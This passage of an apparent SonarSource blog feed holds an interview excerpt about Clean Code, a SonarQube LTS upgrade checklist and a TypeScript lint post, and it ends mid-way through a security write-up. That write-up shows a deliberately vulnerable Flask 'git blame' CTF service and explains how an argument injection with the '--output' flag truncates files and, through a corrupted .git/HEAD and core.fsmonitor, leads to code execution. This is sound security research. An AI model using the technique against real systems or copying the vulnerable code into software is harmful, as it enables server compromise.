decision-makers and bring a balanced viewpoint. This industry is changing rapidly and we need to keep encouraging women to rise and grow their careers. We can all work together to help them pave their career.&lt;/p&gt;&lt;h3&gt;Why is Clean Code important to you?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Megan&lt;/strong&gt;: In my first development job, I was introduced to SonarQube and SonarLint, which I&amp;#x27;m eternally grateful for because it&amp;#x27;s done so much for me. After leaving my first job, I realized how much of an advantage I got from working with the Clean Code methodology. My commits were more solid, I had fewer critiques on my code, and I was going through code faster than my peers. I also had more knowledge to support me when I was reviewing the code. So I saw a huge impact on the quality of my work, which made me so passionate about &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code&lt;/a&gt;. It&amp;#x27;s the standard that we should be working by.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Ashelena&lt;/strong&gt;: Clean Code is so important because it&amp;#x27;s a standard. Developers don&amp;#x27;t go into development to clean up old problems or fix errors. Clean Code enables developers to reduce their &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt; and focus on what they want to do: to create new technologies that change the world. Clean Code is the standard, and will only help us create a better world.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Jean&lt;/strong&gt;: In my second job as a software engineer, I came across Sonar for the first time. I remember rules being enforced, and I quickly realized there was a standard to meet. Slowly I started building my confidence because I knew that if what I was delivering passed the quality gate or I got feedback on my code, I was growing my knowledge. Slowly I went from feeling like an imposter to feeling good at coding. I hope that this is how developers feel when they use our products. When I think of Clean Code, I think of Sonar, and of hitting a standard in the quality of code you&amp;#x27;re writing.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Claire&lt;/strong&gt;: Coding is what I do every day and Clean Code really makes my job easy. It makes sure that the code shows all the information I need. It makes it easy to find and easy to read and it keeps all the information I don&amp;#x27;t need at that moment on the side. And with that, I can really focus on what matters, which is how to implement the best feature or fix or solve the problem I have that day.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Kirti&lt;/strong&gt;: I&amp;#x27;ve been in the development field for the last two decades and I can confirm that Clean Code is fundamental to software. Great software is not possible without Clean Code because it makes your core, your codebase, strong. It&amp;#x27;s like your health. If you don&amp;#x27;t take care of your health from the beginning, it can have consequences. Same thing with software. If it&amp;#x27;s strong from the core, it&amp;#x27;s going to be better overall.&lt;/p&gt;&lt;h3&gt;What are three words that describe the future of Clean Code in the tech industry?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Megan&lt;/strong&gt;: It&amp;#x27;s &amp;quot;foundational&amp;quot; - where you start coding. The second is &amp;quot;quality&amp;quot; because it allows you to have quality code reviews. And the third is &amp;quot;speed.&amp;quot;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Ashelena&lt;/strong&gt;: The first word is &amp;quot;standard&amp;quot; - it should undoubtedly be the standard. The next word I would use is &amp;quot;secure&amp;quot; - software should be error-free. And finally, &amp;quot;growth&amp;quot; - having Clean Code means that we can push out more software and solve more problems faster&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Jean&lt;/strong&gt;: Standard. Efficiency. Effectiveness.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Claire&lt;/strong&gt;: I want it to be the norm. I want it to be easy and I want it to be everywhere.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Kirti&lt;/strong&gt;: Clean Code is not optional. Clean Code is the standard.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We want to hear from you! Tell us what women have inspired you in your tech career by visiting our &lt;a href=&quot;https://community.sonarsource.com/t/what-women-have-inspired-you-in-your-tech-career/83310&quot;&gt;Community discussion&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarQube LTS Upgrade Checklist]]></title><description><![CDATA[A checklist to help you upgrade to SonarQube LTS]]></description><link>https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist</link><guid isPermaLink="false">d81eddfc-e75b-59d0-b0a2-5b5c07cb5276</guid><dc:creator><![CDATA[Brian Cipollone]]></dc:creator><pubDate>Mon, 06 Mar 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The wait is over! The latest and greatest long-term support (LTS) version of SonarQube is available.  You can learn about all the new features and enhancements on &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/lts/9-9-lts/&quot;&gt;the announcement page&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;As a SonarQube administrator, you are probably thinking about how to upgrade your organization&amp;#x27;s instance to this version. This checklist will help ensure you&amp;#x27;ve covered all the bases for a smooth upgrade.&lt;/p&gt;&lt;h2&gt;Before You Start&lt;/h2&gt;&lt;p&gt;There are a few resources to review and items to evaluate in your instance before you begin:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Read the upgrade guides:&lt;/strong&gt;  The &amp;quot;&lt;a href=&quot;https://docs.sonarqube.org/9.9/setup-and-upgrade/upgrade-the-server/before-you-upgrade/&quot;&gt;Before You Upgrade&amp;quot;&lt;/a&gt; and &amp;quot;&lt;a href=&quot;https://docs.sonarqube.org/9.9/setup-and-upgrade/upgrade-the-server/upgrade-guide/&quot;&gt;Upgrade guide&lt;/a&gt;&amp;quot; documentation will provide you with an overview and general technical steps you&amp;#x27;ll be doing during the upgrade.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Review the release notes&lt;/strong&gt;: We&amp;#x27;ve collected all of the critical functional changes from the last several months of updates &lt;a href=&quot;https://docs.sonarqube.org/9.9/setup-and-upgrade/lts-to-lts-release-upgrade-notes/&quot;&gt;in one place&lt;/a&gt;.  Ensure you carefully review, as requirements (e.g., Node.js and Java versions) may have changed for your SonarQube server or the supporting software. A more &lt;a href=&quot;https://docs.sonarqube.org/latest/setup-and-upgrade/release-upgrade-notes/&quot;&gt;detailed list&lt;/a&gt; is available as well.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Review your plugins:&lt;/strong&gt;  If you use third-party plugins, review them to ensure they still provide value and will not cause problems after your upgrade. If your instance has incompatible plugins (&lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/plugin-version-matrix/&quot;&gt;see the plugin compatibility matrix&lt;/a&gt;) or plugins that are no longer in use, you should remove them from your installation before your upgrade.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Review API usage:&lt;/strong&gt;  If you use the Web API for reporting or automation, review the &lt;a href=&quot;https://docs.sonarqube.org/latest/setup-and-upgrade/release-upgrade-notes/&quot;&gt;release notes&lt;/a&gt; as some functions have been changed, deprecated, or removed.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Download the LTS:&lt;/strong&gt;  You can find the download for the LTS on the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot;&gt;SonarQube Downloads page&lt;/a&gt;.  You should always choose the latest release of SonarQube LTS, as it contains important security and bug fixes that older versions will no longer receive.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Upgrade Test&lt;/h2&gt;&lt;p&gt;The following steps will help you set up a testing environment that you can use to practice your upgrade:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Copy production database:&lt;/strong&gt; Any SonarQube upgrade will alter the database. You should back up your current production database and restore it to an environment where you can practice the upgrade process. It&amp;#x27;s a good idea to take note of the duration of the backup and restore to help with your production upgrade timeline.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Setup your test environment: &lt;/strong&gt;Your test environment should have specs as close as possible to the production environment so you can get a good idea of how long the upgrade will take. Start with the same version of SonarQube that you are using in production.  If you plan on introducing other changes to your production environment during the upgrade process, try them out in your test environment.  For example, changing your authentication provider or migrating to a cloud environment can increase the steps needed to get your new system up and running.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Request a test license: &lt;/strong&gt;A license is not required to start and upgrade a commercial edition of SonarQube. However, installing one allows you to run analyses to validate that everything is running as expected. If you are running Enterprise Edition or have a support contract, you are entitled to licenses for testing purposes. Contact your Sales Representative to obtain a test license and apply to the test environment before proceeding.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Run the test:&lt;/strong&gt; Now that your test environment is running, you&amp;#x27;re ready to perform the upgrade. In addition to rehearsing your process, keep notes on how long the process takes to complete.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Performance tuning:&lt;/strong&gt; If you&amp;#x27;d like to decrease the time needed to execute the upgrade, you can make some adjustments to improve performance. An excellent place to start is your database. The upgrade process temporarily consumes database resources beyond what you see during day-to-day SonarQube operation, and poorly tuned databases often create issues during upgrades.  Reference the &amp;quot;&lt;a href=&quot;https://docs.sonarqube.org/latest/setup-and-upgrade/upgrade-the-server/upgrade-guide/#additional-database-maintenance&quot;&gt;Additional database maintenance&amp;quot; section of the Upgrade Guide&lt;/a&gt; for tips applicable to your specific DBMS.   If you are running the Enterprise or Data Center Edition, temporarily increasing the number of Compute Engine workers can also speed up the upgrade process.  See &lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/compute-engine-performance/&quot;&gt;the Compute Engine performance documentation&lt;/a&gt; for more information.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Execute test scans:&lt;/strong&gt; It&amp;#x27;s a good practice to perform a few analyses with key projects against your test environment to ensure everything is running as expected.  All SonarQube releases feature new rules, improved detection, and bug fixes that enhance results from previous versions. Therefore, expect new findings to be discovered in scans after the upgrade.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;During the Upgrade&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Notify Your Users:&lt;/strong&gt; Make sure your developers know about the upgrade and what to expect. In addition to setting expectations, this is a great way to inform users that new SonarQube features are coming. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Update Scanners:&lt;/strong&gt; Your scanner clients should be updated to the latest versions to ensure compatibility with all of the features SonarQube offers. You can find download links on the &lt;a href=&quot;https://docs.sonarqube.org/latest/analyzing-source-code/overview/&quot;&gt;documentation page for each scanner we provide&lt;/a&gt;. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Run the Upgrade: &lt;/strong&gt;You&amp;#x27;ve prepared and run your test; now it&amp;#x27;s time to execute. Remember to take one final backup of your production database.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;After the Upgrade&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Review Your Quality Gates: &lt;/strong&gt;We&amp;#x27;ve added recommendations to help your organization follow &amp;quot;&lt;a href=&quot;https://docs.sonarqube.org/latest/user-guide/clean-as-you-code/&quot;&gt;Clean as You Code&amp;quot; practices&lt;/a&gt;.  You can find these alongside your Quality Gates in SonarQube, where you can make adjustments to guide your developers in &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;writing Clean Code&lt;/a&gt;. &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Need Help?&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you need assistance during your upgrade process, the Sonar community is here to help. We&amp;#x27;ve created a &lt;a href=&quot;https://community.sonarsource.com/c/sq/9-9-lts-upgrade/47&quot;&gt;dedicated space&lt;/a&gt; where you can find solutions to your LTS upgrade questions. And if you have a &lt;a href=&quot;https://www.sonarsource.com/support/&quot;&gt;commercial support contract&lt;/a&gt; with SonarSource, we will be happy to assist you in getting maximum value from this new SonarQube LTS.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Common TypeScript Issues Nº 2: non-empty statements]]></title><description><![CDATA[We crunched the data from SonarLint to discover the top 5 most common TypeScript issues. In this 5 part series, we outline each issue and how to avoid it.]]></description><link>https://www.sonarsource.com/blog/common-typescript-issues-no-2-non-empty-statements</link><guid isPermaLink="false">0db86fbc-6ab9-51ca-9f27-799038620d13</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Wed, 01 Mar 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Issues crop up in our TypeScript code all the time, but many are solved immediately with tooling like SonarLint and its rules designed to catch them. We&amp;#x27;re counting down the top 5 issues that SonarLint spots in all of our TypeScript.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;install SonarLint in your editor&lt;/a&gt; and copy and paste the example code below you can see these issues for yourself. This problem also occurs in JavaScript projects, TypeScript isn&amp;#x27;t doing anything strange to cause this.&lt;/p&gt;&lt;h2&gt;Nº 2: non-empty statements should change control flow or have at least one side-effect&lt;/h2&gt;&lt;p&gt;Let&amp;#x27;s break the rule down. A non-empty statement is any statement in TypeScript or JavaScript that contains more than just a semicolon. An empty statement looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We&amp;#x27;re not ruling a lot out at this stage. So what should a non-empty statement do? It should either &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling&quot;&gt;change control flow&lt;/a&gt; – it should either branch, loop, break a loop, or throw/catch an error–or it should have a side-effect–literally it should do &lt;em&gt;something&lt;/em&gt;. So a statement that would fail this rule effectively does nothing. Even though code exists, the system doesn&amp;#x27;t change as a result of running the line of code. Some examples of this include:&lt;/p&gt;&lt;h3&gt;Comparison&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;cool == “TypeScript”;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While TypeScript might well be cool, the statement above doesn&amp;#x27;t do anything. This normally happens when you intend to assign something to a variable, but typo an extra &lt;code&gt;=&lt;/code&gt; and render the statement useless. Fix it by removing the errant &lt;code&gt;=&lt;/code&gt; and turning the statement back into an assignment:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;cool = “TypeScript”;&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Property access&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;function submitForm(event: SubmitEvent) {
  event.preventDefault;
  // submission code
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this case the first line of the function only accesses the &lt;code&gt;preventDefault&lt;/code&gt; property of the &lt;code&gt;event&lt;/code&gt; object, it doesn’t actually call the function. So the event will continue as normal. This is a case of missing parentheses, another easy mistake to make. Fix it by adding those parentheses:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function submitForm(event: SubmitEvent) {
  event.preventDefault();
  // submission code
}&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Missing a return statement&lt;/h3&gt;&lt;p&gt;This can manifest the same way as the comparison example above, but in this case the intention wasn’t to make an assignment, but return a boolean value:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const theThing = &quot;the thing&quot;;
const array = [&quot;not the thing&quot;, &quot;the thing&quot;, &quot;another thing&quot;];

const found = array.find((item) =&gt; {
  item === theThing;
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this case the comparison does nothing and the &lt;code&gt;find&lt;/code&gt; operation never finds anything because the return value from each run of the function is &lt;code&gt;undefined&lt;/code&gt;. You can fix this by using &lt;code&gt;return&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const found = array.find((item) =&gt; {
  return item === theThing;
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;or by removing the braces and turning the function into an &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions&quot;&gt;arrow function expression&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const found = array.find(item =&gt; item === theThing);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;SonarLint has a &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-3796&quot;&gt;special rule for array methods like this to ensure that functions return a value and avoid this bug&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The lack of a return statement rears its head quite commonly in React applications too. Failing to return from a &lt;code&gt;render&lt;/code&gt; function or from a functional component will mean nothing is rendered on the page. This simple component will render nothing:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function HelloWorld() {
  &lt;p&gt;Hello world!&lt;/p&gt;;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sonar actually has a &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6435&quot;&gt;rule specifically to cover issues like this in React&lt;/a&gt;. Fix this by returning your TSX or JSX:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function HelloWorld() {
  return &lt;p&gt;Hello world!&lt;/p&gt;;
}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Exceptions to the rule&lt;/h2&gt;&lt;p&gt;While delving through some open source projects to find issues like this, I came across some examples where this rule had to be violated. &lt;a href=&quot;https://github.com/jquery/jquery/blob/7e7bd062070b3eca8ee047136ea8575fbed5d70f/src/attributes/prop.js#L90-L121&quot;&gt;One example of this is in the venerable jQuery project&lt;/a&gt;. This is done to support Internet Explorer, not something on too many developers&amp;#x27; minds these days thankfully.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When setting the &lt;code&gt;selected&lt;/code&gt; attribute on an &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; element, IE requires the &lt;code&gt;selectedIndex&lt;/code&gt; property to be accessed before it will respect the change. In this case the jQuery project was using ESLint to lint their code and had to turn off the similar rule &amp;quot;no-unused-expressions&amp;quot; in order to support IE.&lt;/p&gt;&lt;p&gt;At least now IE is retired, violations like this can be removed, though &lt;a href=&quot;https://jquery.com/browser-support/&quot;&gt;jQuery does still list IE9+ among its supported browsers&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Keep these exceptions as exceptions&lt;/h3&gt;&lt;p&gt;As a side note, you can write code in your application that triggers behaviour based on property access like this. Either writing a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get&quot;&gt;getter&lt;/a&gt; or wrapping an object in a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy&quot;&gt;Proxy&lt;/a&gt; can add side-effects to a property like this. But this is not a good pattern. Much like &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-4-don-t-create-and-drop-objects-immediately/&quot;&gt;creating and dropping an object just for the side-effects in the constructor function&lt;/a&gt; you shouldn&amp;#x27;t obfuscate behaviour behind operations that don&amp;#x27;t normally cause side-effects. The &lt;a href=&quot;https://github.com/jquery/jquery/blob/7e7bd062070b3eca8ee047136ea8575fbed5d70f/src/attributes/prop.js#L90-L121&quot;&gt;jQuery example&lt;/a&gt; needed 4 lines of comments to explain itself and 3 comments disabling ESLint. It&amp;#x27;s best to avoid situations like this, don&amp;#x27;t write code that causes side-effects from property access.&lt;/p&gt;&lt;h2&gt;Catch these issues early&lt;/h2&gt;&lt;p&gt;Issues like &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-905&quot;&gt;non-empty statements that don’t either change control flow or have at least one side-effect&lt;/a&gt; should be caught early, by testing or even earlier by checking your code with a &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;linter&lt;/a&gt; like SonarLint.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b5469c99-3b90-42dc-a12a-3fe11ad52d87/Common%20TypeScript%20images%20No.2%20non-empty%20statements.gif&quot; /&gt;&lt;h2&gt;What&amp;#x27;s number 1?&lt;/h2&gt;&lt;p&gt;In this series of blog posts we&amp;#x27;ve seen four of our top 5 common issues that crop up in TypeScript projects and are flagged using SonarLint. Remember that these are issues caught by the tooling, so they mostly don&amp;#x27;t find their way into committed code, and that&amp;#x27;s what this tooling is for.&lt;/p&gt;&lt;p&gt;What do you think is going to top this list? Is there a bug or typo your &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;linter&lt;/a&gt; always catches you with? Share it with us in the &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;community&lt;/a&gt; or with &lt;a href=&quot;https://twitter.com/sonarsource&quot;&gt;@SonarSource&lt;/a&gt; on Twitter.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So far in our Top 5 countdown:&lt;/p&gt;&lt;p&gt;No.3 &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-3-unused-local-variables-and-functions/&quot;&gt;Unused local variables and functions&lt;/a&gt;&lt;/p&gt;&lt;p&gt;No.4 &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-4-don-t-create-and-drop-objects-immediately/&quot;&gt;Dropping and creating objects&lt;/a&gt;&lt;/p&gt;&lt;p&gt;No.5 &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-5-optional-property-declarations/&quot;&gt;Optional property declarations&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Empowering weak primitives: file truncation to code execution with Git]]></title><description><![CDATA[Let's dive into how a seemingly minor code vulnerability can hide a critical impact! ]]></description><link>https://www.sonarsource.com/blog/empowering-weak-primitives-file-truncation-to-code-execution-with-git</link><guid isPermaLink="false">e0e2eef2-40e8-5794-95d6-c8d507d662d4</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Mon, 27 Feb 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;During recent security research, we came up with a fun &amp;quot;trick&amp;quot; that we later shared in a Capture the Flag challenge for the Hack.lu CTF and our Code Security Advent Calendar. We received good feedback and wanted to share the details with a broader audience. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s say that you discovered a code vulnerability that allows you to truncate arbitrary files. It sounds like a pretty weak exploitation primitive, but if you are dealing with an application that involves operations on a Git repository under your control, you&amp;#x27;re in luck! &lt;/p&gt;&lt;h2&gt;The vulnerable snippet&lt;/h2&gt;&lt;p&gt;For our example, let&amp;#x27;s use the code snippet of &lt;a href=&quot;https://www.sonarsource.com/knowledge/code-challenges/advent-calendar-2022/&quot;&gt;Day 16 of this year&amp;#x27;s Code Security Advent Calendar&lt;/a&gt;. It implements a service that allows cloning an arbitrary Git repository and later running &lt;code&gt;git blame&lt;/code&gt; on specific files and lines.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;challenge.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def _git(cmd, args, cwd=&apos;/&apos;):

   proc = run([&apos;git&apos;, cmd, *args],

              stdout=PIPE,

              stderr=DEVNULL,

              cwd=cwd,

              timeout=5)

   return proc.stdout.decode().strip()

@app.route(&apos;/blame&apos;, methods=[&apos;POST&apos;])

def blame():

   url = request.form.get(&apos;url&apos;,

                          &apos;https://github.com/package-url/purl-spec.git&apos;)

   what = request.form.getlist(&apos;what[]&apos;)

   with TemporaryDirectory() as local:

       if not url.startswith((&apos;https://&apos;, &apos;http://&apos;)):

           return make_response(&apos;Invalid url!&apos;, 403)

       _git(&apos;clone&apos;, [&apos;--&apos;, url, local])

       res = []

       for i in what:

           file, lines = i.split(&apos;:&apos;)

           res.append(_git(&apos;blame&apos;, [&apos;-L&apos;, lines, file], local))

       return make_response(&apos;\n&apos;.join(res), 200)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This code suffers from an argument injection vulnerability when crafting the command line for &lt;code&gt;git blame&lt;/code&gt;. Argument injections are widespread code vulnerabilities identified by our static analysis technology; you can find a scan report of the above snippet on &lt;a href=&quot;https://sonarcloud.io/project/security_hotspots?id=SonarSourceResearch_2022_calendar_16&amp;hotspots=AYTElMvtSrpHxVfO0aem&quot;&gt;SonarCloud&lt;/a&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/edab3a68-8510-4d8a-9098-846528f4ea3d/Screenshot%202023-02-24%20at%2017.16.17.png&quot; /&gt;&lt;p&gt;Exploiting argument injection vulnerabilities depends heavily on the features offered by the invoked binary. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For instance, if a hypothetic program supports the option &lt;code&gt;--output=foo&lt;/code&gt; that writes the program output to the file &lt;code&gt;foo&lt;/code&gt;, attackers who can inject this argument could create new files or overwrite existing ones. The attacker&amp;#x27;s goal is usually to gain the ability to execute arbitrary code on the server, and such primitives are very powerful but also quite rare.&lt;/p&gt;&lt;h2&gt;Finding an interesting argument&lt;/h2&gt;&lt;p&gt;Let&amp;#x27;s get back to our code snippet, where we can add new arguments to the &lt;code&gt;git blame&lt;/code&gt; invocation. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After looking at the manual of &lt;code&gt;git-blame&lt;/code&gt;, we couldn&amp;#x27;t find any &amp;quot;interesting&amp;quot; option to execute arbitrary code. Most arguments alter the behavior of the blame process or the way it renders its output. Most importantly, the manual does not document the presence of the option &lt;code&gt;--output&lt;/code&gt;, which is usually present on other &lt;code&gt;git&lt;/code&gt; sub-commands. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is then surprising to see this behavior when running &lt;code&gt;git blame --output=foo&lt;/code&gt;; notice the presence of a new file named &lt;code&gt;foo&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ git blame --output=foo
usage: git blame [&lt;options&gt;] [&lt;rev-opts&gt;] [&lt;rev&gt;] [--] &lt;file&gt;


   &lt;rev-opts&gt; are documented in git-rev-list(1)


   --incremental         show blame entries as we find them, incrementally
[...]
$ ls -alh
total 0
drwx------    4 thomas  staff   128B Dec 29 14:43 ./
drwx------@ 191 thomas  staff   6.0K Dec 29 14:43 ../
drwxr-xr-x    9 thomas  staff   288B Dec 29 14:43 .git/
-rw-r--r--    1 thomas  staff     0B Dec 29 14:43 foo
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Although the command failed, an empty file named &lt;code&gt;foo&lt;/code&gt; was created. If a file with the same name already exists, the destination file is truncated!&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ date &gt; foo
$ cat foo
Thu Dec 29 15:42:56 CET 2022
$ git blame --output=foo
usage: git blame [&lt;options&gt;] [&lt;rev-opts&gt;] [&lt;rev&gt;] [--] &lt;file&gt;


   &lt;rev-opts&gt; are documented in git-rev-list(1)


   --incremental         show blame entries as we find them, incrementally
[...]
$ ls -alh
total 0
drwx------    4 thomas  staff   128B Dec 29 14:43 ./
drwx------@ 191 thomas  staff   6.0K Dec 29 14:47 ../
drwxr-xr-x    9 thomas  staff   288B Dec 29 14:43 .git/
-rw-r--r--    1 thomas  staff     0B Dec 29 14:48 foo&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This option provides attackers with an arbitrary file truncation primitive. The command &lt;code&gt;git-blame&lt;/code&gt; supports &lt;code&gt;--output&lt;/code&gt; because its implementation uses other sub-commands that &lt;em&gt;do&lt;/em&gt; support &lt;code&gt;--output&lt;/code&gt;: command-line arguments are parsed several times by these components.&lt;/p&gt;&lt;h2&gt;Putting the pieces together&lt;/h2&gt;&lt;p&gt;As we demonstrated in &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/&quot;&gt;Securing Developer Tools: Git Integrations&lt;/a&gt;, control over the Git options of a local repository is dangerous: several configuration directives allow specifying external commands to change Git&amp;#x27;s behavior. For instance, &lt;code&gt;core.fsmonitor&lt;/code&gt; can point to a third-party program to replace Git&amp;#x27;s built-in filesystem monitor. This process happens during most operations, including &lt;code&gt;git blame&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We could leverage this technique if we find a way to force Git operations to ignore the local repository and use one in our control instead. As you may have already guessed, the file truncation primitive was proven to be useful here. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can trick Git into loading a configuration from an unintended location by corrupting a critical file like &lt;code&gt;.git/HEAD&lt;/code&gt;. In such cases, Git starts looking for repositories in the current folder, which the attacker fully controls as it is the work tree with all the files of the cloned remote repository.&lt;/p&gt;&lt;h2&gt;Solving the challenge&lt;/h2&gt;&lt;p&gt;To solve the challenge, we created &lt;a href=&quot;https://github.com/SonarSourceResearch/csac2022-git-blame&quot;&gt;a Git repository&lt;/a&gt; with the following structure:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;objects/&lt;/code&gt;, &lt;code&gt;refs/&lt;/code&gt;, 